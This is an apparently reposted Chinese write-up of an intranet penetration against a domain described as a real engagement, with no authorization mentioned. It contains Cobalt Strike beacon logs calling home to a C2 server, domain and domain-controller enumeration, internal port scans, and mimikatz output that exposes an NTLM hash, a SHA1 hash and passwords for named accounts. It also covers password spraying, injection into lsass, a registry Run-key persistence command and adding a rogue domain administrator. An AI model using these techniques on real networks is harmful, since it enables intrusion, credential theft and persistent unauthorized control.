现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
0x00 前言
0x01 前期渗透
System Idle Process 0 N/A
System 4 N/A
smss.exe 240 N/A
csrss.exe 376 N/A
wininit.exe 436 N/A
services.exe 524 N/A
lsass.exe 532 Kdc, KeyIso, Netlogon, NTDS, SamSs
svchost.exe 672 BrokerInfrastructure, DcomLaunch, LSM,
PlugPlay, Power, SystemEventsBroker
svchost.exe 716 RpcEptMapper, RpcSs
WRSA.exe 820 WRSVC
svchost.exe 276 Dhcp, EventLog, lmhosts, Wcmsvc
svchost.exe 320 Appinfo, BITS, CertPropSvc, gpsvc, IAS,
IKEEXT, iphlpsvc, LanmanServer, ProfSvc,
Schedule, seclogon, SENS, SessionEnv,
ShellHWDetection, Themes, Winmgmt
svchost.exe 516 EventSystem, FontCache, netprofm, nsi,
W32Time, WinHttpAutoProxySvc
svchost.exe 932 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc, WinRM
svchost.exe 1100 BFE, DPS, MpsSvc
spoolsv.exe 1508 Spooler
Microsoft.ActiveDirectory 1540 ADWS
OfficeClickToRun.exe 1792 ClickToRunSvc
svchost.exe 1844 ddpvssvc
dfsrs.exe 1892 DFSR
svchost.exe 1908 DHCPServer
svchost.exe 1936 DiagTrack
dns.exe 1980 DNS
fmaonsite.exe 2024 FMAuditOnsite
ismserv.exe 1340 IsmServ
Microsoft.BDD.MonitorServ 1432 MDT_Monitor
MSOIDSVC.EXE 2660 msoidsvc
svchost.exe 2328 Net Driver HPZ12
OpenDNSAuditService.exe 2220 OpenDNS Active Directory Service
MSOIDSVCM.EXE 1256 N/A
svchost.exe 2172 Pml Driver HPZ12
ScreenConnect.ClientServi 556 ScreenConnect Client (62c0d7e1d3b94bc5)
svchost.exe 1472 TermService
OpenDNSAuditClient.exe 2924 N/A
conhost.exe 1380 N/A
VGAuthService.exe 2096 VGAuthService
vmtoolsd.exe 612 VMTools
WRCoreService.x64.exe 2136 WRCoreService
WRSkyClient.x64.exe 3180 WRSkyClient
dfssvc.exe 3316 Dfs
WmiPrvSE.exe 3484 N/A
svchost.exe 3568 UALSVC, UmRdpService
VeeamDeploymentSvc.exe 3612 VeeamDeploySvc
WRSvcMetrics.x64.exe 3580 N/A
svchost.exe 4216 PolicyAgent
msdtc.exe 4160 MSDTC
DCA.Edge.Console.exe 3676 DCAPulse
iashost.exe 4548 N/A
wsmprovhost.exe 9104 N/A
powershell.exe 7828 N/A
conhost.exe 6688 N/A
powershell.exe 360 N/A
conhost.exe 5152 N/A
notepad.exe 1760 N/A
LTSvcMon.exe 5424 LTSvcMon
LTSVC.exe 7272 LTService
labvnc.exe 5412 tvnserver
Veeam.EndPoint.Service.ex 8316 VeeamEndpointBackupSvc
wsmprovhost.exe 7108 N/A
ScreenConnect.WindowsBack 4384 N/A
csrss.exe 7564 N/A
winlogon.exe 5520 N/A
dwm.exe 6572 N/A
labvnc.exe 5916 N/A
taskhostex.exe 8540 N/A
WRSA.exe 2308 N/A
ScreenConnect.WindowsClie 3732 N/A
explorer.exe 3964 N/A
MRT.exe 4852 N/A
vm3dservice.exe 2656 N/A
MRT.exe 5196 N/A
vmtoolsd.exe 5340 N/A
DCA.Edge.TrayIcon.exe 6432 N/A
LTTray.exe 4564 N/A
WmiPrvSE.exe 6336 N/A
Taskmgr.exe 6684 N/A
LogonUI.exe 380 N/A
cmd.exe 2400 N/A
conhost.exe 6216 N/A
net.exe 8100 N/A
net1.exe 8908 N/A
cmd.exe 2956 N/A
conhost.exe 8300 N/A
net.exe 7344 N/A
net1.exe 5248 N/A
cmd.exe 432 N/A
conhost.exe 9052 N/A
net.exe 7356 N/A
net1.exe 3156 N/A
cmd.exe 8232 N/A
conhost.exe 4600 N/A
net.exe 5528 N/A
net1.exe 7352 N/A
cmd.exe 4304 N/A
conhost.exe 7148 N/A
vds.exe 3872 vds
cmd.exe 7716 N/A
conhost.exe 8564 N/A
tasklist.exe 9212 N/A
0x02 内网渗透
因为前期拿到了边缘机,这里查看systeminfo,发现是2012R2的主机。
Windows IP Configuration
Host Name . . . . . . . . . . . . : CAMS-SQL3
Primary Dns Suffix . . . . . . . : AVV.org
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : AVV.org
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-98-E3-D6
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::a5b1:d534:730:3123%11(Preferred)
IPv4 Address. . . . . . . . . . . : 10.2.0.49(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.254.0
net group "domain controllers" /domain
[04/26 18:16:59] beacon> shell net group "domain Controllers" /domain
[04/26 18:17:00] [*] Tasked beacon to run: net group "domain Controllers" /domain
[04/26 18:17:00] [+] host called home, sent: 69 bytes
[04/26 18:17:00] [+] received output:
The request will be processed at a domain controller for domain FPC.LOCAL.
Group name Domain Controllers
Comment All domain controllers in the domain
Members
-------------------------------------------------------------------------------
AVV-DC1$ AVV-DC2$ AVV-DHDC01$
AVV-DHDC02$
net group "domain admins" /domain
fpcadmin mqd.ns
mqd.rmm mqd.tdv
net time /domain
[04/26 18:27:52] beacon> shell net time /domain
[04/26 18:27:52] [*] Tasked beacon to run: net time /domain
[04/26 18:27:52] [+] host called home, sent: 47 bytes
[04/26 18:27:54] [+] received output:
Current time at \\AVV-DC2.FPC.LOCAL is 4/26/2023 5:27:53 AM
[04/26 18:31:11] [+] =========== 查看主域控制器 ==========
[04/26 18:31:12] [*] Tasked beacon to run: netdom query pdc
[04/26 18:31:12] [+] host called home, sent: 47 bytes
[04/26 18:31:14] [+] received output:
Primary domain controller for the domain:
AVV-DC1
The command completed successfully.
portscan 10.2.0.0/24
portscan 10.2.92.30/24
portscan 10.6.0.10/24
portscan 10.11.1.12/24
msv :
[00000003] Primary
* Username : mqd.tdv
* Domain : FPC
* NTLM : 7007ebae678042f1cf112578ac43bf68
* SHA1 : 712ce4bf3a4a777582389d37f8d06158ed204f6b
tspkg :
wdigest :
* Username : mqd.tdv
* Domain : FPC
* Password : [email protected]#
kerberos :
* Username : mts.tdv
* Domain : FPC
* Password : [email protected]#
ssp :
credman :
0x03 内网横向
这里截图部分域内用户,做成密码表后直接进行喷洒,发现域管成功上线。
把当前进程注入到lsass进程中去。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "C:\Windows\Temp\start.exe" //开机自启动
添加域管理员,因为已经拿到域管理员的权限,所以可以添加域管理员,来进行权限维持(这里直接通过lstar的插件来进行域管理员的添加)
这里直接放后期上线的域控。
0x04 总结
可以通过添加域管理员来上线域内的所有主机
可以通过cs来进行进程注入or进程迁移,来实现本机system权限的获取
此次实战的密码喷洒尤为重要,所以有机器用户的hash一定要进行抓取
SPN服务横向可以通过打邮服来进行获取域控权限
学习了权限维持的方法(开机自启动、winrm的横向和psexec的横向)
恶补了一大波内网知识(比靶场来的实在)
此次通过内网渗透,虽然打了邮件服务器,但是没有通过邮件服务器来拿下DC的权限。
没有通过SPN票据横向拿下对应的服务器,比如MSSQL的和CIFS的
此次没有利用白银票据进行横向(得重新学习)
文章来源:奇安信攻防社区(用户773616194)
原文地址:https://forum.butian.net/share/2261
关 注 有 礼
推 荐 阅 读